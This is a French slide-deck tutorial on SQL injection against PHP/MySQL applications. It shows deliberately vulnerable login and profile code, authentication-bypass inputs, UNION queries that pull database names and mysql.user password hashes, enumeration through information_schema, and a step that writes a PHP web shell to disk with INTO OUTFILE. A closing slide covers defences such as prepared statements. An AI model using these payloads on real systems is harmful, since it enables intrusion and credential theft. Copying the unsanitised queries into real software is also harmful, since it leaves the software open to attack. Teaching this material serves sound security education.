sql injection vulnerability - basics

Post on 26-Jun-2015

2.059 Views

Category:

Technology

0 Downloads

Preview:

Click to see full reader

DESCRIPTION

#SQL #Injection #Vulnerability - #Basics

TRANSCRIPT

1

Twitter : Twitter : @EmirFares@EmirFaresEmail : Email : b.fares@emi.reb.fares@emi.re |  | emir.belmahdi@gmail.comemir.belmahdi@gmail.comBlog : Blog : http://emi.rehttp://emi.reAboutMe : AboutMe : http://about.me/EmirFareshttp://about.me/EmirFares

SQL InjectionSQL Injection

2

Introduction PHPIntroduction PHP

3

SQL Injection - Introduction

● PHP est un langage de programmation interprété qui s'intègre dans vos pages HTML. Il permet entre autres de rendre automatiques des tâches répétitives, notamment grâce à la communication avec une base de données.

4

SQL Injection - Introduction

● Exemple de code PHP<?php echo "Bonjour, je suis un script PHP !"; ?>● Ou même :<?phpif (strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE') !== FALSE) {?><h3>strpos() n'a pas retourné FALSE</h3><p>Vous utilisez Internet Explorer</p><?php} else {?><h3>strpos() a retourné FALSE</h3><p>Vous n'utilisez pas Internet Explorer</p><?php}?>

5

SQL Injection – Les Superglobales

● Plusieurs variables prédéfinies en PHP sont "superglobales", ce qui signifie qu'elles sont disponibles quel que soit le contexte du script. Il est inutile de faire global $variable; avant d'y accéder dans les fonctions ou les méthodes.

● Les variables superglobales sont :

➔ $GLOBALS➔ $_SERVER➔ $_GET➔ $_POST➔ $_FILES➔ $_COOKIE➔ $_SESSION➔ $_REQUEST➔ $_ENV

6

SQL Injection – Les Variables HTTP

● $_GET :➔ Un tableau associatif des valeurs passées au script courant via les

paramètres d'URL.➔ http://www.google.dz/search?q=Security

● $_POST ➔ Un tableau associatif des valeurs passées au script courant via le protocole

HTTP et la méthode POST.➔ Exemple : Les informations transmises via formulaire d’inscription/Connexion

7

SQL Injection – Variable de requête HTTP

● $_REQUEST➔ Un tableau associatif qui contient par défaut le contenu des variables $_GET

, $_POST et $_COOKIE.➔ Les variables contenues dans $_REQUEST sont fournies au script via les

mécanismes d'entrée GET, POST, et COOKIE et donc, peuvent être modifiées par l'utilisateur final ; aussi, vous ne pouvez faire confiance à leur contenu. La présence ainsi que l'ordre de ces variables dans ce tableau sont définis suivant la directive de configuration variables_order.

8

Injection SQL : Les BasesInjection SQL : Les Bases

9

SQL Injection - Introduction

● SQL (Structured Query Language, en français langage de requête structurée) est un langage informatique normalisé servant à exploiter des bases de données relationnelles. La partie langage de manipulation des données de SQL permet de rechercher, d'ajouter, de modifier ou de supprimer des données dans les bases de données relationnelles.

● Il existe plusieurs Système de Gestion de Base de Données (SGBD) : comme MySQL ou alors Oracle Database.

● Nous allons utiliser MySQL pour nos exemples.

10

SQL Injection - Introduction

● De nombreux développeurs web ne sont pas conscients des possibilités de manipulation des requêtes SQL, et supposent que les requêtes SQL sont des commandes sûres. Cela signifie qu'une requête SQL est capable de contourner les contrôles et vérifications, comme les identifications, et parfois, les requêtes SQL ont accès aux commandes d'administration.

● L'injection SQL est une technique où un pirate modifie une requête SQL existante pour afficher des données cachées, ou pour écraser des valeurs importantes, ou encore exécuter des commandes dangereuses pour la base. Cela se fait lorsque l'application prend les données envoyées par l'internaute, et l'utilise directement pour construire une requête SQL

11

SQL Injection - Exploitation

12

SQL Injection - Détection

● Pour détecter une Injection SQL, rien de plus simple il suffit d'injecter le symbole « ' » et si une erreur du genre " You have an error in your SQL syntax; " s'affiche, c'est que l'application est vulnérable.

13

SQL Injection – Exploitation

● Imaginons un code comme suit :

<?php

$user = $_POST['user'];

$pass = $_POST['pass'];

$sql = mysql_query("SELECT * FROM members WHERE user = '{$user}' AND pass = '{$pass}'") or die(mysql_error());

if(mysql_num_rows($sql) == 1)

{

echo "Bienvenue";

}

else

{

echo "Incorrect logins";

}

?>

14

SQL Injection - Exploitation

● l'attaquant tape le nom d'un utilisateur déjà existant dans la base de données par exemple « admin » suivi d'un signe quote et un dièse « '# »

● Le single quote servira a fermer le délimiteur de la chaine de caractère, le dièse permet de mettre en commentaire le reste de la requête, l'instruction qui se charge de vérifier le mot de passe ne sera donc pas exécutée.

SELECT * FROM users WHERE username = ‘admin’#‘ AND password = ‘$password’

15

SQL Injection - Exploitation

● Un autre exemple d'une SQLi :

$sql = mysql_query("SELECT * FROM users WHERE ( username='$username' AND password = '$password' )");● Pour détourner la vérification du mot de passe on peut utiliser «

admin')# »● On peut également utiliser : « admin') or ('a'='a »● Le principe est simple, il faut bidouiller la requête pour qu'elle

soit correcte et retourne toujours true.

16

SQL Injection – UNION Syntax

● UNION est implémentée en MySQL 4.0.0.● UNION est utilisé pour combiner le résultat de plusieurs

requêtes SELECT en un seul résultat.● Les colonnes listées dans la partie select_expression du

SELECT doivent être du même type. Les noms de colonnes utilisés dans le premier SELECT seront utilisé comme nom de champs pour les résultats retournés.

17

SQL Injection – UNION Syntax<?phpinclude('config.php'); //Fichier de configuration qui contient les informations de connexion a la base de donnéesmysql_select_db("test");$id = $_GET['id'];$sql = mysql_query("SELECT user, nom, prenom, email FROM members WHERE id = $id") or die(mysql_error());if(mysql_num_rows($sql) > 0){ $data = mysql_fetch_object($sql); echo " <fieldset> <legend>Profile de ".$data->user."</legend> <p>Nom d'utilisateur : ".$data->user."</p> <p>Nom et pr&eacute;nom : ".$data->nom." " .$data->prenom ."</p> <p>Adresse email : ".$data->email."</p> </fieldset>";}?>

18

SQL Injection – UNION Syntax

● Après la détection de la SQLi (grâce au single quote « ' ») nous passons à l'étape suivante qui est la détection du nombre de colonnes utilisés dans le SELECT

● La méthode la plus répandue est l'utilisation du ORDER BY en incrémentant l'indice jusqu'à génération d'une erreur.

– profile.php?id=99999 order by 1 [OK]

– profile.php?id=99999 order by 2 [OK]

– profile.php?id=99999 order by 3 [OK]

– profile.php?id=99999 order by 4 [OK]

– profile.php?id=99999 order by 5 [ERROR] {Unknown column '5' in 'order clause'}

● Nous savons maintenant que le nombre de champs utilisés est « 4 »

19

SQL Injection – Récupération des données

● Il ne reste plus qu'à utiliser la clause UNION pour la récupération des données.➔ profile.php?id=-99999 UNION SELECT 1,2,3,4#

● Nous remarquerons que cette fois ci les chiffres 1,2,3,4 sont affichés au lieu des informations du profile de l'utilisateur. Ceci est du au fait que l'utilisateur -99999 n'existe pas dans la base de données, donc les champs sélectionnés dans UNION sont retournés.

● Il ne reste plus qu'à sélectionner les colonnes que nous voulons afficher☻➔ profile.php?id=-99999 UNION SELECT database(),version(),user,pass FROM members#➔ profile.php?id=-99999 UNION SELECT host, user, password, database() FROM mysql.user#

20

SQL Injection - Lister les tables disponibles

● Le support de la base INFORMATION_SCHEMA est disponible en MySQL 5.0.2 et plus récent. Il fournit un accès aux métadonnées sur les bases de données.

● Les ''métadonnées'' sont des informations sur les données, telles que le nom des bases de données, des tables, le type de données des colonnes ou les droits d'accès. On appelle aussi ces données le ''dictionnaire de données'' ou le ''catalogue système''.

● Information_schema est par default accessible à tous les utilisateurs

21

SQL Injection – Lister les tables disponibles

● Reprenons l'exemple utilisé précédemment, voici la requête qui permet d'afficher la liste des tables disponibles dans la BDD :profile.php?id=-99999 UNION SELECT null,null,null,TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = database() LIMIT 0,1;# //Affiche la première table

profile.php?id=-99999 UNION SELECT null,null,null,TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = database() LIMIT 1,1;# //Affiche la deuxième table ...

● Maintenant nous allons récupérer le nom des colonnes qui sont stockés dans la table information_schema.COLUMNSprofile.php?id=-99999 UNION SELECT null, null, null, COLUMN_NAME FROM COLUMNS WHERE TABLE_SCHEMA = database() AND TABLE_NAME='members'# //Affiche la première colonne

profile.php?id=-99999 UNION SELECT null, null, null, COLUMN_NAME FROM COLUMNS WHERE TABLE_SCHEMA = database() AND TABLE_NAME='members' LIMIT 1,1# //Affiche la deuxième colonne ...

22

Injection SQL : Injection SQL : Techniques AvancéesTechniques Avancées

23

SQL Injection – Injection via en-têtes HTTP

● L'en-tête HTTP est un ensemble de lignes facultatives permettant de donner des informations supplémentaires sur la requête et/ou le client (Navigateur, système d'exploitation, ...). Chacune de ces lignes est composée d'un nom qualifiant le type d'en-tête, suivi de deux points (:) et de la valeur de l'en-tête.

● Exemple :

GET /index.php HTTP/1.1

Host: www.emi.re

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:26.0) Gecko/20100101 Firefox/26.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Cookie: _ga=GA1.2.1078712593.1386802851

Connection: keep-alive

24

SQL Injection - Injection via en-têtes HTTP

<?php

include('config.php');

$ua = $_SERVER['HTTP_USER_AGENT'];

$req = mysql_query("SELECT * FROM banned_useragents WHERE user_agent = '$ua'") or die(mysql_error());

if(mysql_num_rows($req) > 0)

{

die("you don't have the permission to access this page");

}

else

{

echo "Welcome !";

}

?>

25

SQL Injection - Injection via en-têtes HTTP

● Si on change le contenu du paramètre

« User-Agent » en injectant « ' »

nous remarquons l'apparition d'une

erreur.

26

SQL Injection – Ecriture d'un fichier

● L'instruction « INTO OUTFILE » et « INTO DUMPFILE » : permettent d'écrire dans un fichier accessible par l'utilisateur courant.

● Exemple :

profile.php?id=-99999 union select null,null,null,'<?php system(\$_GET["cmd"]) ?>' INTO OUTFILE '/tmp/test.php'

27

SQL Injection – Lecture d'un fichier● L'instruction « LOAD_FILE » : Lit un fichier et retourne son contenu

sous la forme d'une chaîne de caractères. Le fichier doit se trouver sur le serveur qui exécute MySQL, vous devez spécifier le chemin absolu du fichier et vous devez avoir les droits en lecture sur celui-ci.

● Exemple : profile.php?id=-99999 union select 1,2,3,load_file('/tmp/test.php')

28

SQL Injection – Comment l'éviter?

● Utiliser mysql_real_escape_string() d'echapper les quotes.● Éviter de donner les droits FILE aux utilisateurs mysql.● Éviter d'utilisr le compte 'root' pour la connexion de vos applications à la base de données. ● Utiliser les requêtes préparés :

<?php

$db = new PDO('mysql:host=localhost;dbname=test','username','password');

$sql = 'SELECT * FROM users WHERE username=?';

$sql = $db->prepare($sql);

$sql->execute(array($_POST['username']));

$data = $sql->fetch(PDO::FETCH_ASSOC);

?>

29

Twitter : Twitter : @EmirFares@EmirFaresEmail : Email : b.fares@emi.reb.fares@emi.re |  | emir.belmahdi@gmail.comemir.belmahdi@gmail.comBlog : Blog : http://emi.rehttp://emi.reAboutMe : AboutMe : http://about.me/EmirFareshttp://about.me/EmirFares

SQL InjectionSQL Injection

top related